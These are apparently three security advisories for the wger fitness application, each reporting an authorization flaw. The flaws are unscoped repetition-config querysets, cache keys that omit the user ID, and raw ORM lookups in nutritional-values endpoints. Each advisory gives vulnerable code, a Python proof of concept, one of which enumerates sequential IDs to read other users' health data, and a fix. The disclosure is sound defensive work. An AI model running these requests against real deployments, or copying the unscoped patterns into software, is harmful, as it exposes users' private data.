Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their getqueryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

python VULNERABLE class RepetitionsConfigViewSet(viewsets.ModelViewSet): def getqueryset(self): return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet): def getqueryset(self): return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

python CORRECT — how it should work def getqueryset(self): return WeightConfig.objects.filter( slotentryslotdayroutineuser=self.request.user )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

python import requests

BASE = "http://localhost" headers = {"Authorization": "Token YOURTOKEN"} # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers) print(r.json()) # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers) print(r.json()) # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset: python def getqueryset(self): return RepetitionsConfig.objects.filter( slotentryslotdayroutineuser=self.request.user )

Summary

Five routine detail action endpoints check a cache before calling self.getobject(). Cache keys are scoped only by pk — no user ID is included. When a victim has previously accessed their routine via the API, an attacker can retrieve the cached response for the same PK without any ownership check.

Details

wger/manager/api/views.py — five actions follow this pattern (lines 134–201):

python @action(detail=True) def datesequencedisplaymode(self, request, pk=None): cachekey = makeroutineapidatesequencedisplaycachekey(pk) cached = cache.get(cachekey) if cached: return Response(cached) # returned WITHOUT calling self.getobject() # only reaches ownership check on cache miss routine = self.getobject() ...

Cache key construction in wger/utils/cache.py:89–106:

python def makeroutineapidatesequencedisplaycachekey(routineid): return f"routine-api-date-sequence-display-{routineid}" # No user ID in key

Cache TTL: 1 month (4 604800 seconds, settingsglobal.py:461).

Affected endpoints: GET /api/v2/routine/{pk}/date-sequence-display/ GET /api/v2/routine/{pk}/date-sequence-gym/ GET /api/v2/routine/{pk}/structure/ GET /api/v2/routine/{pk}/logs/ GET /api/v2/routine/{pk}/stats/

PoC

1. Victim (user A) visits GET /api/v2/routine/5/structure/ → response cached under key "routine-api-structure-5" 2. Attacker (user B) visits GET /api/v2/routine/5/structure/ → cache hit → returns user A's routine structure without any ownership check

Requires the victim to have previously accessed the endpoint (cache must be populated). Once populated, the cache entry is valid for 1 month.

Impact

An attacker with a registered account can retrieve another user's routine details — workout day sequences, exercise structure, training logs, and statistics — from cache without ownership verification.

Fix: Include the user ID in the cache key: python def makeroutineapidatesequencedisplaycachekey(routineid, userid): return f"routine-api-date-sequence-display-{userid}-{routineid}"

Or move self.getobject() before the cache lookup so ownership is always verified first.

Summary

Three nutritionalvalues action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.getobject() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

python line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check

line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE

line 403 — MealItemViewSet mealitem = MealItem.objects.get(pk=pk) # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

python LogItem.objects.get(pk=pk, planuser=self.request.user) # CORRECT

Affected endpoints: GET /api/v2/nutritionplan/{pk}/nutritionalvalues/ GET /api/v2/meal/{pk}/nutritionalvalues/ GET /api/v2/mealitem/{pk}/nutritionalvalues/

PoC

python import requests

BASE = "http://localhost" Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKERTOKEN"}

Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritionalvalues/", headers=headers ) if r.statuscode == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydratessugar, # fat, fatsaturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data: - Daily caloric intake - Protein, carbohydrate, fat, fiber, and sodium intake - Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.getobject(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).